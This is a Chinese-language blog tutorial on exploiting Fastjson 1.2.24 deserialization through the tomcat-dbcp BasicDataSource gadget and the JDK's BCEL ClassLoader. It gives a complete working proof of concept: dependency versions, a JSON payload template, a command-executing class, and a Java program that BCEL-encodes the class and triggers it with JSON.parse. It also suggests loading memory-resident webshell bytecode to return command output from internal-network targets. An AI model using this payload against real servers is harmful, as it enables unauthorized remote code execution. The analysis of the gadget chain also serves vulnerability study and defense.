Fastjson tomcat-dhcp链
Fastjson tomcat-dbcp链
这条链可直接回显,可以解决fastjson在内网的情况,因为很多实战的时候,fastjson的应用部署在内网,只映射一个端口出来,导致前面学习的jdbcRowImpl链的jndi利用不了,而TemplatesImpl链又因为有利用条件,用
parseObject()方法时,需要加入
Feature.SupportNonPublicField参数,就有了大佬们使用tomcat-dhcp链,而tomcat-dbcp依赖又是数据库依赖比较常见。而tomcat-dbcp是依赖$$BCEL$$的。
1、前置知识
1.1、BCEL
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。
BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。
就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于
com.sun.org.apache.bce。
我们来看看我们今天的主角
com.sun.org.apache.bcel.internal.util.ClassLoader,在jdk的rt.jar包里面
我们来看loadClass这个方法,获取class_name,判断开头是不是
$$BCEL$$,是就调用createClass(class_name),然后通过
classname获取字节码,然后调用defineClass实例化我们的字节码。我们先看看createClass
protected Class loadClass(String class_name, boolean resolve) throws ClassNotFoundException { Class cl = null; ...... if(cl == null) { JavaClass clazz = null; /* Third try: Special request? */ if(class_name.indexOf("$$BCEL$$") >= 0) clazz = createClass(class_name); else { // Fourth try: Load classes via repository if ((clazz = repository.loadClass(class_name)) != null) { clazz = modifyClass(clazz); } else throw new ClassNotFoundException(class_name); } if(clazz != null) { byte[] bytes = clazz.getBytes(); cl = defineClass(class_name, bytes, 0, bytes.length); } else // Fourth try: Use default class loader cl = Class.forName(class_name); } if(resolve) resolveClass(cl); } classes.put(class_name, cl); return cl; }
createClass这个类就是把$$BCEL$$后面的字段赋值给real_name,然后通过Utility.decode将BCEL解码成字节码,然后解析字节码编程类,返回这个类,所以createClass就是获取class_name的$$BCEL$$的字节码转换成类
protected JavaClass createClass(String class_name) { int index = class_name.indexOf("$$BCEL$$"); String real_name = class_name.substring(index + 8); JavaClass clazz = null; try { byte[] bytes = Utility.decode(real_name, true); ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo"); clazz = parser.parse(); } catch(Throwable e) { e.printStackTrace(); return null; } // Adapt the class name to the passed value ConstantPool cp = clazz.getConstantPool(); ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(), Constants.CONSTANT_Class); ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(), Constants.CONSTANT_Utf8); name.setBytes(class_name.replace('.', '/')); return clazz; }
还有有一个点就是
com.sun.org.apache.bcel.internal.classfile.Utility该类存储了bcel的加解密方法
Utility.decode(String real_name, true) Utility.encode(byte[] bytes,, true)
最后poc的构造
我们可以通过FastJson反序列化,反序列化生成一个 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 对象,并将它的成员变量 classloader 赋值为 com.sun.org.apache.bcel.internal.util.ClassLoader 对象,将 classname 赋值为 经过BCEL编码的字节码(假设对应的类为Evil.class),我们将需要执行的代码写在 Evil.class 的 static 代码块
2、POC分析
2.1、依赖
<dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp --> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.8</version> </dependency> </dependencies>
2.2、poc
{ { "x":{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$..." } }: "x" }
编写恶意代码类,并且编译成class文件,既字节码形式
package com.akkacloud; import java.io.IOException; public class Calc { public Calc() throws IOException { Runtime.getRuntime().exec(" open /System/Applications/Calculator.app "); } }
package com.akkacloud; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import java.util.Arrays; class fastjson_dbcp { public static void main(String[] argv) throws Exception{ JavaClass cls = Repository.lookupClass(Calc.class); //System.out.println(Arrays.toString(cls.getBytes())); String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码 System.out.println(code); String poc = "{\n" + " {\n" + " \"aaa\": {\n" + " \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" + " \"driverClassLoader\": {\n" + " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" + " },\n" + " \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" + " }\n" + " }: \"bbb\"\n" + "}"; System.out.println(poc); JSON.parse(poc); } }
最后说一句对jdk版本有要求,jdk1.8u251前可以成功
2.3、利用链
BasicDataSource.getConnection() createDataSource() createConnectionFactory()
其实看到这个利用链,就知道传入我们的BasicDataSource类,会自动调用getter和setter方法,然后调用getConnection方法。我们在
getConnection打断点调试一下,可以看到我们在BasicDataSource里存入的恶意代码都已经存入,继续跟createDataSource
跟进发现,会判断dataSource是够为空,然后调用createConnectionFactory(就是创建链接工厂方法),继续跟进
到了这里就很清楚了,通过class.forName方法,使用我们自定义的classloder(com.sun.org.apache.bcel.internal.util.ClassLoader),获取该类
然后实例化该类,造成命令执行。
2.4、结束
旧版本的 tomcat-dbcp 对应的路径是 org.apache.tomcat.dbcp.dbcp.BasicDataSource
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/dbcp --> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>dbcp</artifactId> <version>6.0.53</version> </dependency>
Tomcat 8.0以后采用org.apache.tomcat.dbcp.dbcp2.BasicDataSource
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.8</version> </dependency>
我们可以通过传入内存马的Class字节码,达到回显的目的
参考
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
- fastjson 处理 double 的精度问题
- android json解析(fastjson,Gson等)
- 通过fastjson将字符串转换成带有泛型的map
- alibaba fastjson(json序列化器)序列化部分源码解析-2-性能优化A
- FastJson一些常见方法(API):处理JSON变得好简单
- Android进阶笔记14:3种JSON解析工具(org.json、fastjson、gson)
- fastjson自带JsonPath与json-path比较
- ELK实战之Tomcat的json日志收集
- Fastjson详细介绍 !!!!
- Json解析包FastJson使用
- alibaba的FastJson(高性能JSON开发包) json转换
- fastjson用法2
- 记一次fastJson调错
- 解决fastjson从1.1.41升级到1.2.28后报错问题详解
- fastJson泛型如何转换
- 高性能JSON框架之FastJson的简单使用
- Fastjson反序列化漏洞概述
- fastjson的@JSONField注解
- FastJson常见问题
- Android FastJson,json解析